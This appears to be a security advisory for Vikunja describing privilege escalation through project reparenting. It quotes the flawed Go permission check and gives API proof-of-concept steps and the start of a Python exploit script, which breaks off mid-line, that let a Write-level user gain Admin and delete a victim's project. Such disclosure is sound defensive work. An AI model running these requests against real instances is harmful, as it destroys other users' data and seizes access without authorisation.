Vikunja vulnerable to Privilege Escalation via Project Reparenting
Summary
A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.
Details
The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
```go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
}
```
Proof of Concept
Tested on Vikunja v2.2.2.
```
1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
-> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
-> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
-> Project deleted. victim gets 404.
```
```python
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Parent Project"}).json()
child = requests.put(f"{A
